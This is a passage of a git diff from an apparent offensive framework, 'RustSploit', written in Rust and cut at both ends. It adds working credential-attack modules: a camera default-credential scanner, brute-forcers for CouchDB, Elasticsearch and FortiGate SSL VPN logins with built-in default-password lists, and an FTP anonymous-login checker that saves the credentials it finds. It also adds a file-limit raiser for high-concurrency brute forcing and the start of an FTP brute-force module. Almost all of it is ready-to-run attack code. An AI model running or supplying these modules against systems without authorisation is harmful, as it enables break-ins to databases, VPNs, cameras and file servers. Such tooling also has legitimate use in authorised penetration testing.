kind: FindingKind::Note,
message: format!("Protected camera stream {} (authentication required)", url),
data: Some(serde_json::json!({
"url": url,
"port": port,
"auth_required": true,
})),
});
}
}
}
}
}
if !found_streams && rtsp_ports.is_empty() {
crate::mprintln!(" {} No live streams detected", "[-]".yellow());
}
}
// =================================================================================
// HELPER FUNCTIONS
// =================================================================================
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
DEFAULT_CREDENTIALS.to_vec()
}
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
/// Returns true if the host should be skipped (only non-camera services found)
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
if open_ports.is_empty() {
return true;
}
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "CamXploit — Camera Discovery & Credential Scanner".to_string(),
description: "Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Great,
default_port: None,
}
}
crate::register_native_module!(crate::module::Category::Creds, "camxploit/camxploit", native);
+1
View File
@@ -0,0 +1 @@
pub mod exploit;
@@ -0,0 +1,112 @@
//! CouchDB credential brute-force via POST /_session.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_PORT: u16 = 5984;
const DEFAULTS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "couchdb"),
("admin", ""),
("root", "root"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "CouchDB Bruteforce".to_string(),
description:
"Tests CouchDB authentication via POST /_session. Single-target — scheduler does \
CIDR / random / file fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://docs.couchdb.org/en/stable/api/server/authn.html".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(5984),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("couchdb_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "couchdb",
default_port: DEFAULT_PORT,
source_module: "creds/generic/couchdb_bruteforce",
defaults: DEFAULTS,
password_only: false,
},
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
)
.await
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
let client = match crate::utils::build_http_client(timeout) {
Ok(c) => c,
Err(e) => {
return LoginResult::Error {
message: format!("http client: {e}"),
retryable: false,
}
}
};
let url = format!("http://{}:{}/_session", host, port);
let body = format!(
"name={}&password={}",
crate::utils::url_encode(user),
crate::utils::url_encode(pass)
);
let resp = client
.post(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await;
let resp = match resp {
Ok(r) => r,
Err(e) => {
return LoginResult::Error {
message: format!("post: {e}"),
retryable: e.is_timeout() || e.is_connect(),
}
}
};
let status = resp.status().as_u16();
match status {
200 => {
// CouchDB POST /_session returns 200 + {"ok":true,...} on a real login.
// Require the body to confirm it, so a non-CouchDB service (or an HTML
// page) that answers 200 isn't recorded as a valid credential.
match resp.text().await {
Ok(body) if body.contains("\"ok\":true") => LoginResult::Success,
Ok(_) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: format!("body: {e}"),
retryable: e.is_timeout(),
},
}
}
401 | 403 => LoginResult::AuthFailed,
429 | 500..=599 => LoginResult::Error {
message: format!("transient status {status}"),
retryable: true,
},
other => LoginResult::Error {
message: format!("unexpected status {other}"),
retryable: false,
},
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/couchdb_bruteforce", native);
@@ -0,0 +1,111 @@
//! Elasticsearch credential brute-force via HTTP Basic on the cluster root.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_PORT: u16 = 9200;
const DEFAULTS: &[(&str, &str)] = &[
("elastic", "changeme"),
("elastic", "elastic"),
("elastic", "password"),
("kibana", "kibana"),
("admin", "admin"),
("admin", "password"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "Elasticsearch Bruteforce".to_string(),
description:
"Tests Elasticsearch HTTP Basic auth on the cluster root endpoint. \
Single-target — scheduler does fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(9200),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("elasticsearch_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "elasticsearch",
default_port: DEFAULT_PORT,
source_module: "creds/generic/elasticsearch_bruteforce",
defaults: DEFAULTS,
password_only: false,
},
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
)
.await
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
let client = match crate::utils::build_http_client(timeout) {
Ok(c) => c,
Err(e) => {
return LoginResult::Error {
message: format!("http client: {e}"),
retryable: false,
}
}
};
let url = format!("http://{}:{}/", host, port);
let resp = client
.get(&url)
.basic_auth(user, Some(pass))
.send()
.await;
let status = match resp {
Ok(r) => r.status().as_u16(),
Err(e) => {
return LoginResult::Error {
message: format!("get: {e}"),
retryable: e.is_timeout() || e.is_connect(),
}
}
};
match status {
200 => {
// An Elasticsearch node with security DISABLED returns 200 to every
// request and ignores the credentials, so a credentialed 200 alone is
// not proof — without this guard every password is a false positive on
// an open node. Confirm an UNauthenticated GET is rejected (401) first.
match client.get(&url).send().await {
Ok(r) if r.status().as_u16() == 401 => LoginResult::Success,
Ok(r) => {
tracing::debug!(
"elasticsearch {host}:{port}: unauthenticated GET returned {} — node not secured, not a credential",
r.status()
);
LoginResult::AuthFailed
}
Err(e) => LoginResult::Error {
message: format!("baseline get: {e}"),
retryable: e.is_timeout() || e.is_connect(),
},
}
}
401 | 403 => LoginResult::AuthFailed,
429 | 500..=599 => LoginResult::Error {
message: format!("transient status {status}"),
retryable: true,
},
other => LoginResult::Error {
message: format!("unexpected status {other}"),
retryable: false,
},
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/elasticsearch_bruteforce", native);
+144 -31
View File
@@ -1,41 +1,154 @@
use anyhow::{Result, anyhow};
use std::process::Command;
use anyhow::{Result, Context};
use colored::*;
use rlimit::Resource;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
const TARGET_FILE_LIMIT: u64 = 65535;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "System Ulimit Configuration".to_string(),
description: "Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: None,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ System Ulimit Configuration Utility ║".cyan());
crate::mprintln!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
raise_ulimit().await
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
// For ulimit operations, target is informational only.
let target = ctx.target.as_single().context("module requires a single-host target")?;
if !target.is_empty() {
crate::mprintln!("{}", format!("[*] Target context: {}", target).dimmed());
}
raise_ulimit().await?;
let mut outcome = ModuleOutcome::ok();
if let Ok((soft, hard)) = get_current_limits() {
outcome.findings.push(Finding {
target: "localhost".to_string(),
kind: FindingKind::Note,
message: format!("File descriptor limits — soft: {}, hard: {}", soft, hard),
data: Some(serde_json::json!({
"soft_limit": soft,
"hard_limit": hard,
"target_limit": TARGET_FILE_LIMIT,
})),
});
}
Ok(outcome)
}
/// Raise ulimit to 65535
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let (soft, hard) = Resource::NOFILE.get()
.context("Failed to get current limits")?;
Ok((soft, hard))
}
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
Resource::NOFILE.set(soft, hard)
.context("Failed to set limits")
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
crate::mprintln!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
crate::mprintln!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
crate::mprintln!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
crate::mprintln!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
} else {
println!("[-] Warning: Could not verify new ulimit.");
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
crate::mprintln!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
crate::mprintln!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
crate::mprintln!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
match set_file_limit(current_hard, current_hard) {
Ok(()) => {
crate::mprintln!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
crate::mprintln!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
crate::mprintln!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
crate::mprintln!("{}", "[!] Hard limit is the same as soft limit.".yellow());
crate::mprintln!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
crate::mprintln!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
crate::mprintln!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
crate::mprintln!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
crate::mprintln!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
}
// Also show shell instructions for reference
crate::mprintln!();
crate::mprintln!("{}", "=== Shell Instructions ===".bold());
crate::mprintln!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
crate::mprintln!("{}", " ulimit -n 65535".white());
crate::mprintln!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
crate::mprintln!("{}", " * soft nofile 65535".white());
crate::mprintln!("{}", " * hard nofile 65535".white());
Ok(())
}
crate::register_native_module!(crate::module::Category::Creds, "generic/enablebruteforce", native);
@@ -0,0 +1,119 @@
//! Fortinet FortiGate SSL VPN credential probe via the `/remote/logincheck`
//! POST endpoint.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::network::{build_http_client_with, HttpClientOpts};
use crate::utils::LoginResult;
const DEFAULT_PORT: u16 = 443;
const DEFAULTS: &[(&str, &str)] = &[
("admin", ""),
("admin", "admin"),
("admin", "password"),
("admin", "fortinet"),
("admin", "fortigate"),
("admin", "12345"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "Fortinet SSL VPN Bruteforce".to_string(),
description:
"POSTs `username=&secretkey=` to /remote/logincheck on a FortiGate SSL VPN portal \
and inspects the response body for the redirect / error markers. Single-target — \
scheduler does fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(443),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("fortinet_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "fortinet_sslvpn",
default_port: DEFAULT_PORT,
source_module: "creds/generic/fortinet_bruteforce",
defaults: DEFAULTS,
password_only: false,
},
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
)
.await
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
let opts = HttpClientOpts::permissive();
let client = match build_http_client_with(timeout, opts) {
Ok(c) => c,
Err(e) => {
return LoginResult::Error {
message: format!("http client: {e}"),
retryable: false,
}
}
};
let url = format!("https://{}:{}/remote/logincheck", host, port);
let body = format!(
"username={}&secretkey={}&ajax=1",
crate::utils::url_encode(user),
crate::utils::url_encode(pass)
);
let resp = client
.post(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await;
let resp = match resp {
Ok(r) => r,
Err(e) => {
return LoginResult::Error {
message: format!("post: {e}"),
retryable: e.is_timeout() || e.is_connect(),
}
}
};
let status = resp.status().as_u16();
// Cap the body we buffer: the logincheck response is tiny, but a hostile
// or misbehaving endpoint on :443 could stream an unbounded body. Reading
// the raw bytes with a sane cap avoids an OOM, and we only ever inspect a
// short prefix below.
const MAX_BODY: usize = 64 * 1024;
let bytes = match crate::utils::safe_io::read_http_body_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => {
return LoginResult::Error {
message: format!("read body: {e}"),
retryable: true,
}
}
};
let capped = &bytes[..bytes.len().min(MAX_BODY)];
let txt = String::from_utf8_lossy(capped).into_owned();
// FortiOS replies with `ret=1,...` on success and `ret=0,error=...` on
// failure. SAML / 2FA replies start with `redir=`.
if txt.starts_with("ret=1") || txt.contains("redir=/sslvpn/") {
LoginResult::Success
} else if txt.starts_with("ret=0") || status == 401 || status == 403 {
LoginResult::AuthFailed
} else {
LoginResult::Error {
message: format!("unexpected response status={status} body={}", txt.chars().take(80).collect::<String>()),
retryable: false,
}
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/fortinet_bruteforce", native);
+295 -35
View File
@@ -1,13 +1,52 @@
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use anyhow::{anyhow, Context, Result};
use colored::*;
use suppaftp::async_native_tls::TlsConnector;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use tokio::time::{timeout, Duration};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::cfg_prompt_yes_no;
const DEFAULT_TIMEOUT_SECS: u64 = 5;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "FTP Anonymous Login Checker".to_string(),
description: "Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode).".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: Some(21),
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ FTP Anonymous Login Checker ║".cyan()
);
crate::mprintln!(
"{}",
"║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
if (target.starts_with('[') && target.contains("]:"))
|| (target.matches(':').count() == 1 && !target.contains('['))
{
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
@@ -24,7 +63,17 @@ fn format_addr(target: &str, port: u16) -> String {
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("ftp_anonymous requires a single-host target")?;
display_banner();
let mut outcome = ModuleOutcome::ok();
// --- Standard Single Target Logic ---
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
@@ -32,57 +81,268 @@ pub async fn run(target: &str) -> Result<()> {
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", addr);
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!(
"{}",
format!("[*] Connecting to FTP service on {}...", addr).cyan()
);
crate::mprintln!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
} else {
return Err(anyhow!("FTP error: {}", e));
// 1. Try plain FTP first
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Attempting plain FTP connection to {}...", addr).dimmed()
);
}
let tcp_result = timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
)
.await;
match tcp_result {
Ok(Ok(tcp_stream)) => match AsyncFtpStream::connect_with_stream(tcp_stream).await {
Ok(mut ftp) => {
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] FTP connection established to {}", addr).dimmed()
);
crate::mprintln!(
"{}",
"[VERBOSE] Sending USER anonymous / PASS anonymous ...".dimmed()
);
}
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
crate::mprintln!("{}", "[+] Anonymous login successful (FTP)".green().bold());
match ftp.list(None).await {
Ok(entries) => {
crate::mprintln!(
"{}",
"[+] LIST command successful - Read Access Confirmed".green()
);
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] LIST returned {} entries", entries.len())
.dimmed()
);
for entry in entries.iter().take(20) {
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
}
if entries.len() > 20 {
crate::mprintln!(
"{}",
format!(
"[VERBOSE] ... and {} more entries",
entries.len() - 20
)
.dimmed()
);
}
}
}
Err(e) => crate::mprintln!(
"{}",
format!("[-] Login worked but LIST failed: {}", e).yellow()
),
}
// Persist credential to framework credential store
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: domain,
port: 21,
service: "ftp",
username: "anonymous",
secret: "anonymous@",
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/ftp_anonymous",
})
.await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: domain.to_string(),
kind: FindingKind::Credential,
message: format!("FTP anonymous login at {}:21", domain),
data: Some(serde_json::json!({
"service": "ftp", "host": domain, "port": 21,
"username": "anonymous", "password": "anonymous@",
"tls": false,
})),
});
if let Err(e) = ftp.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
return Ok(outcome);
} else if let Err(e) = result {
if e.to_string().contains("530") {
crate::mprintln!("{}", "[-] Anonymous login rejected (FTP)".yellow());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Server response: {}", e).dimmed()
);
}
if let Err(e) = ftp.quit().await { tracing::debug!("FTP quit failed: {e}"); }
return Ok(outcome);
} else if e.to_string().contains("550 SSL") {
crate::mprintln!(
"{}",
"[*] FTP server requires TLS — upgrading to FTPS...".cyan()
);
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] SSL required response: {}", e).dimmed()
);
}
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Err(e) => {
crate::mprintln!("{}", format!("[!] FTP handshake error: {}", e).red());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] FTP handshake error details: {:?}", e).dimmed()
);
}
}
},
Ok(Err(e)) => {
crate::mprintln!("{}", format!("[!] FTP connection error: {}", e).red());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Connection error details: {:?}", e).dimmed()
);
}
}
Err(e) => {
tracing::debug!("timeout: {e}");
crate::mprintln!("{}", "[-] FTP connection timed out".yellow());
if verbose {
crate::mprintln!(
"{}",
format!(
"[VERBOSE] Timeout after {}s connecting to {}",
DEFAULT_TIMEOUT_SECS, addr
)
.dimmed()
);
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
}
// 2️⃣ Fallback to FTPS
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
// 2. Fallback to FTPS
crate::mprintln!("{}", "[*] Attempting FTPS connection...".cyan());
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Initiating TLS connection to {}...", addr).dimmed()
);
}
let tcp_stream = timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
)
.await
.map_err(|e| anyhow!("FTPS connection timed out: {e}"))?
.context("FTPS TCP connect failed")?;
let ftp_plain = AsyncNativeTlsFtpStream::connect_with_stream(tcp_stream)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
.context("FTPS FTP handshake failed")?;
if verbose {
crate::mprintln!(
"{}",
"[VERBOSE] FTPS TCP connection established, performing TLS upgrade...".dimmed()
);
}
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
let mut ftps = ftp_plain
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
.context("FTPS TLS upgrade failed")?;
if verbose {
crate::mprintln!(
"{}",
"[VERBOSE] TLS handshake complete, sending anonymous credentials...".dimmed()
);
}
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
let _ = ftps.quit().await;
crate::mprintln!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
match ftps.list(None).await {
Ok(entries) => {
crate::mprintln!(
"{}",
"[+] LIST command successful - Read Access Confirmed".green()
);
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] LIST returned {} entries", entries.len()).dimmed()
);
for entry in entries.iter().take(20) {
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
}
if entries.len() > 20 {
crate::mprintln!(
"{}",
format!("[VERBOSE] ... and {} more entries", entries.len() - 20)
.dimmed()
);
}
}
}
Err(e) => crate::mprintln!(
"{}",
format!("[-] Login worked but LIST failed: {}", e).yellow()
),
}
// Persist credential to framework credential store
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: domain,
port: 21,
service: "ftp",
username: "anonymous",
secret: "anonymous@",
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/ftp_anonymous",
})
.await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: domain.to_string(),
kind: FindingKind::Credential,
message: format!("FTPS anonymous login at {}:21", domain),
data: Some(serde_json::json!({
"service": "ftp", "host": domain, "port": 21,
"username": "anonymous", "password": "anonymous@",
"tls": true,
})),
});
if let Err(e) = ftps.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
crate::mprintln!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
if verbose {
crate::mprintln!("{}", format!("[VERBOSE] FTPS rejection: {}", e).dimmed());
}
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Creds, "generic/ftp_anonymous", native);
+327 -329
View File
@@ -1,393 +1,391 @@
use anyhow::{anyhow, Result};
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
AsyncNativeTlsConnector,
};
use anyhow::{ anyhow, Context, Result };
use colored::*;
use suppaftp::tokio::{ AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream };
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc, // Keep Arc
net::IpAddr,
time::Duration,
};
use tokio::{
sync::{Mutex, Semaphore}, // Import Semaphore
time::{sleep, Duration}
use tokio::time::{ sleep, timeout };
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
use crate::utils::{
cfg_prompt_default,
cfg_prompt_port,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_yes_no,
cfg_prompt_output_file,
load_lines,
load_lines_uncapped,
file_size,
STREAMING_THRESHOLD,
};
use crate::utils::{
BruteforceConfig,
LoginResult,
SubnetScanConfig,
parse_combo_mode,
load_credential_file,
run_bruteforce_streaming,
run_subnet_bruteforce,
is_subnet_target,
};
use std::path::Path;
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_count = system.cpus().len();
let cpu_usage = if cpu_count > 0 {
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
} else {
0.0
};
let total_memory = system.total_memory();
let ram_used = if total_memory > 0 {
system.used_memory() as f32 / total_memory as f32
} else {
0.0
};
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "FTP Brute Force".to_string(),
description: "Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: Some(21),
}
}
/// Format IPv4 or IPv6 addresses with port
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// FTP error classification for retry decisions.
#[derive(Debug, Clone, Copy)]
enum FtpErrorType {
AuthenticationFailed,
TlsRequired,
ConnectionLimitExceeded,
ConnectionFailed,
Unknown,
}
impl FtpErrorType {
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
if msg.contains("530") || msg_lower.contains("login incorrect")
|| (msg_lower.contains("user") && msg_lower.contains("cannot"))
|| (msg_lower.contains("password") && msg_lower.contains("incorrect"))
{
return Self::AuthenticationFailed;
}
if msg.contains("550 SSL") || msg_lower.contains("tls required")
|| msg_lower.contains("ssl connection required")
|| msg.contains("220 TLS go first")
|| msg_lower.contains("must use tls")
{
return Self::TlsRequired;
}
if msg.contains("421") || msg_lower.contains("too many")
|| msg_lower.contains("connection limit")
{
return Self::ConnectionLimitExceeded;
}
if msg_lower.contains("connection refused")
|| msg_lower.contains("no route to host")
|| msg_lower.contains("network unreachable")
|| msg_lower.contains("connection reset")
{
return Self::ConnectionFailed;
}
Self::Unknown
}
fn is_retryable(self) -> bool {
matches!(self, Self::ConnectionFailed | Self::Unknown)
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ FTP Brute Force Module ║".cyan());
crate::mprintln!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
/// Format IPv4 or IPv6 addresses with port for display.
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
